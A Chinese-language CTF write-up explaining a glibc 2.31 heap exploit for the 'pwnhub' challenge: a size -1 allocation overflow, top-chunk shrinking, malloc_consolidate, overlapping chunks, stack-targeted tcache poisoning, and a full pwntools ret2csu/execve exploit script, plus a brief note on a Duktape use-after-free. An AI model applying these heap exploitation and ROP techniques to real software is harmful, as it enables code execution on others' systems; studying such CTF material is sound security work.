pwnhub 题目 alloc功能申请,size<=0x81 leak可以用来打印指针 read向拿到的指针读入相应大小内容
漏洞在alloc输入-1的时候实际上执行malloc(0),存下来的size是-1,0xffffffff,所以再使用read时能够溢出
思路 利用house of orange前半部分的思想,修改top chunk的size,不断耗尽其空间从而把chunk释放。由于版本是libc2.31,所以实际上chunk会被放入tcache中
第八个chunk就会被放入fastbin中。当找不到合适的chunk拿出且top chunk的size不够时,会调用malloc_consolidate。这一步会将fastbin中的chunk放进smallbin中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 use_top: ... victim = av->top; size = chunksize (victim); if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size" ); if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { ...... } else if (atomic_load_relaxed (&av->have_fastchunks)) { malloc_consolidate (av); if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } else { ...... }
具体的思路是首先往0x80的tcache放一个,然后往0x40的tcache放八个,最后再往0x80的tcache放一个,同时由于topchunk不够触发malloc_consolidate,0x40的fastbin就被放进了smallbin。 接着再以-1申请一个0x20大小的chunk,则smallbin的chunk被切割后放进unsorted bin中。利用刚在-1申请的chunk溢出修改切割后的0x20大小的unsorted bin的size为一个很大的值,准备拓展该chunk大小。然后再申请一个chunk,该chunk是从topchunk新切割的,在里面布置fake prevsize和fake size,从而拓展刚才0x20大小的unsorted bin。
此时unsorted bin就包含了前面释放的0x80的tcache,不断申请即可修改其fd。由于第一次leak可以拿到栈地址,所以最后就能申请到maina函数返回地址上,再做rop即可。
exp 虽然题目给了些config文件啥的,貌似也没啥用…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./pwnhub' ) elf = ELF('./pwnhub' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (sz ): r.recv() r.sendline('3' ) r.recv() r.sendline(str (sz)) def read (ct ): r.recv() r.sendline('1' ) sleep(0.2 ) r.send(ct) def leak (): r.recv() r.sendline('2' ) leak() data = u64(r.recvuntil(b'\x7f' )[-6 :]+b'\x00\x00' ) stack_addr = data add(-1 ) read("A" *0x18 +p64(0xd51 )) for i in range (0x16 ): add(0x80 ) add(0x40 ) add(0x80 ) for i in range (8 ): add(-1 ) read("A" *0x18 +p64(0xf51 )) for j in range (0x1a ): add(0x80 ) add(0x40 ) add(0x80 ) add(-1 ) read("A" *0x18 +p64(0xf51 )) for j in range (0x19 ): add(0x80 ) add(0x60 ) add(0x20 ) add(0x80 ) add(0x80 ) read(p64(0x430e0 )+p64(0x20 )) add(-1 ) read(b"A" *0x18 +p64(0x430e1 )) for i in range (0x3c7 ): add(0x80 ) read(b"A" *0x38 +p64(0x81 )+p64(stack_addr+0x10f )) add(0x77 ) add(0x77 ) prdi_r = 0x00000000004015e3 prsi__r15_r = 0x00000000004015e1 csu_down = 0x4015DA csu_up = 0x4015C0 prdi_r = 0x00000000004015e3 prsi__r15_r = 0x00000000004015e1 csu_down = 0x4015DA csu_up = 0x4015C0 pay = '' pay+= p64(csu_down) pay+= p64(0 )+p64(1 )+p64(0 )+p64(stack_addr+0x10f +8 *15 )+p64(0x200 )+p64(elf.got['read' ]) pay+= p64(csu_up) read(pay) r.recv() r.sendline('4' ) sleep(0.5 ) rop = '' rop+= p64(csu_down) rop+= p64(0 )+p64(1 )+p64(elf.got['puts' ])+p64(0 )+p64(0 )+p64(elf.got['puts' ]) rop+= p64(csu_up) rop+= p64(0 )*7 rop+= p64(csu_down) rop+= p64(0 )+p64(1 )+p64(0 )+p64(stack_addr+0x277 )+p64(0x200 )+p64(elf.got['read' ]) rop+= p64(csu_up) r.sendline(rop) libc.address = u64(r.recvuntil(b'\x7f' )[-6 :]+b'\x00\x00' )-libc.sym['puts' ] sleep(0.5 ) r.sendline(p64(prdi_r)+\ p64(next (libc.search(b'/bin/sh' )))+\ p64(libc.address+0x000000000002604f )+p64(0 )+\ p64(libc.address+0x00000000001025ad )+p64(0 )*3 +\ p64(libc.sym['execve' ])) print (hex (data))print (hex (libc.address))r.interactive()
reference 感叹一下老外写的是真细呀
https://eternal.red/2022/pwnhub/
dfs_ 漏洞 UAF
1 2 3 4 5 6 7 8 9 10 11 duk_ret_t __cdecl duk_bi_typedarray_midnight (duk_hthread_0 *thr) { duk_hbuffer_0 *buf; buf = duk__require_bufobj_this(thr)->buf; if ( !buf ) return 0 ; if ( *&buf[1 ].hdr.h_flags ) duk_free(thr, *&buf[1 ].hdr.h_flags); return 0 ; }
没调完,先鸽